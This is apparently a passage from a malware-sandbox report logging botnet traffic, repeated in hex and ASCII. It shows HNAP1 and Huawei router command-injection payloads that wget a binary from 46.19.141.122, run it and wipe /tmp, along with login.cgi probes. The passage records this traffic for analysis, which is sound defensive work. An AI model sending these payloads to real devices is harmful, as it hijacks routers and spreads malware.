6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 461Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 36 2e 31 39 2e 31 34 31 2e 31 32 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 46.19.141.122 -l /tmp/.oxy -r /bins/mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 